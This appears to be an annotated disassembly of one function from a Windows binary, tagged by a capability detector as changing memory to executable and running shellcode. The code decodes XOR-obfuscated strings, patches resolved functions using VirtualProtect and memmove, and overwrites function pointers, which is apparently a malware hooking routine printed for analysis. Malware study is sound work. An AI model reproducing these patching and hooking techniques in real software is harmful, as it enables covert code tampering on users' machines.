Function at 0x100179b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10022a20
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x1002f018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.10017500
mov ecx, 0xdd
xor eax, eax
mov dl, byte [eax + 0x10029330]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x2c], dl
jns 0x10017a04
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x1a
jl 0x100179e7
mov byte [ebp - 0x12], 0
mov dword [ebp - 4], 0
mov ecx, dword [0x10162630]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
push 0x10016c10
lea edx, [ebp - 0x2c]
push edx
call eax
mov esi, 7
mov edi, eax
call fcn.10002de0
add esp, 4
mov dword [0x1006a6a4], eax
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov word [ebp - 0x14], ax
mov byte [ebp - 0x12], al
lea ebx, [ebx]
mov ecx, 0x5e
xor eax, eax
mov dl, byte [eax + 0x1002a590]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x3c], dl
jns 0x10017a84
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xe
jl 0x10017a67
mov byte [ebp - 0x2e], 0
mov dword [ebp - 4], 1
mov ecx, dword [0x10162630]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x3c]
push edx
call eax
cmp dword [eax], 0xffffffff
sete cl
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov word [ebp - 0x30], ax
mov byte [ebp - 0x2e], al
test cl, cl
je 0x10017acc
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10017a60
mov ecx, 0x97
xor eax, eax
mov dl, byte [eax + 0x100295e0]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x2c], dl
jns 0x10017af0
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x1b
jl 0x10017ad3
mov byte [ebp - 0x11], 0
mov dword [ebp - 4], 2
mov ecx, dword [0x10162630]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x2c]
push edx
call eax
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 0x4c]
push ecx
push 0x40
mov esi, eax
push 5
push esi
call edi
mov ebx, dword [sym.imp.MSVCR100.dll_memmove]
push 5
push 0x1002a5a0
push esi
call ebx
mov eax, dword [ebp - 0x4c]
add esp, 0xc
lea edx, [ebp - 0x50]
push edx
push eax
push 5
push esi
call edi
push 5
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov ecx, 0x97
mov dl, byte [eax + 0x10029634]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x48], dl
jns 0x10017b8e
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x1b
jl 0x10017b71
mov byte [ebp - 0x2d], 0
mov dword [ebp - 4], 3
mov ecx, dword [0x10162630]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x48]
push edx
call eax
lea ecx, [ebp - 0x4c]
push ecx
push 0x40
mov esi, eax
push 5
push esi
call edi
push 5
push 0x1002a5a0
push esi
call ebx
mov eax, dword [ebp - 0x4c]
add esp, 0xc
lea edx, [ebp - 0x50]
push edx
push eax
push 5
push esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 5
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
or esi, 0xffffffff
mov dword [ebp - 4], esi
call fcn.100166e0
jmp 0x10017c00
mov ecx, 0x5e
xor eax, eax
mov dl, byte [eax + 0x1002a590]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x3c], dl
jns 0x10017c24
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xe
jl 0x10017c07
mov byte [ebp - 0x2e], 0
mov dword [ebp - 4], 4
mov ecx, dword [0x10162630]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x3c]
push edx
call eax
cmp dword [eax], 8
sete cl
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov word [ebp - 0x30], ax
mov byte [ebp - 0x2e], al
test cl, cl
je 0x10017c70
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10017c00
mov ecx, 0x5e
xor eax, eax
mov dl, byte [eax + 0x1002a590]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x20], dl
jns 0x10017c94
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xe
jl 0x10017c77
mov byte [ebp - 0x12], 0
mov dword [ebp - 4], 5
mov ecx, dword [0x10162630]
mov eax, dword [ecx]
mov eax, dword [eax + 0x28]
lea edx, [ebp - 0x20]
push edx
call eax
cmp dword [eax], 9
mov dword [ebp - 4], esi
sete cl
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov word [ebp - 0x14], ax
mov byte [ebp - 0x12], al
test cl, cl
je 0x10017cdf
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10017c70
call fcn.10009bb0
test eax, eax
je 0x10017ced
lea esi, [eax + 0x30]
jmp 0x10017cef
xor esi, esi
lea ecx, [ebp - 0x4c]
push ecx
push 0x40
push 4
push esi
call edi
mov eax, dword [ebp - 0x4c]
lea edx, [ebp - 0x50]
push edx
push eax
push 4
push esi
mov dword [esi], 0x10009d60
call edi
push 4
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
call fcn.10009bb0
test eax, eax
je 0x10017d27
lea esi, [eax + 0x10]
jmp 0x10017d29
xor esi, esi
lea ecx, [ebp - 0x54]
push ecx
push 0x40
push 4
push esi
call edi
mov eax, dword [ebp - 0x54]
lea edx, [ebp - 0x58]
push edx
push eax
push 4
push esi
mov dword [esi], 0x10009c60
call edi
push 4
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
call fcn.10016ac0
call fcn.100177d0
call fcn.1000cb90
int3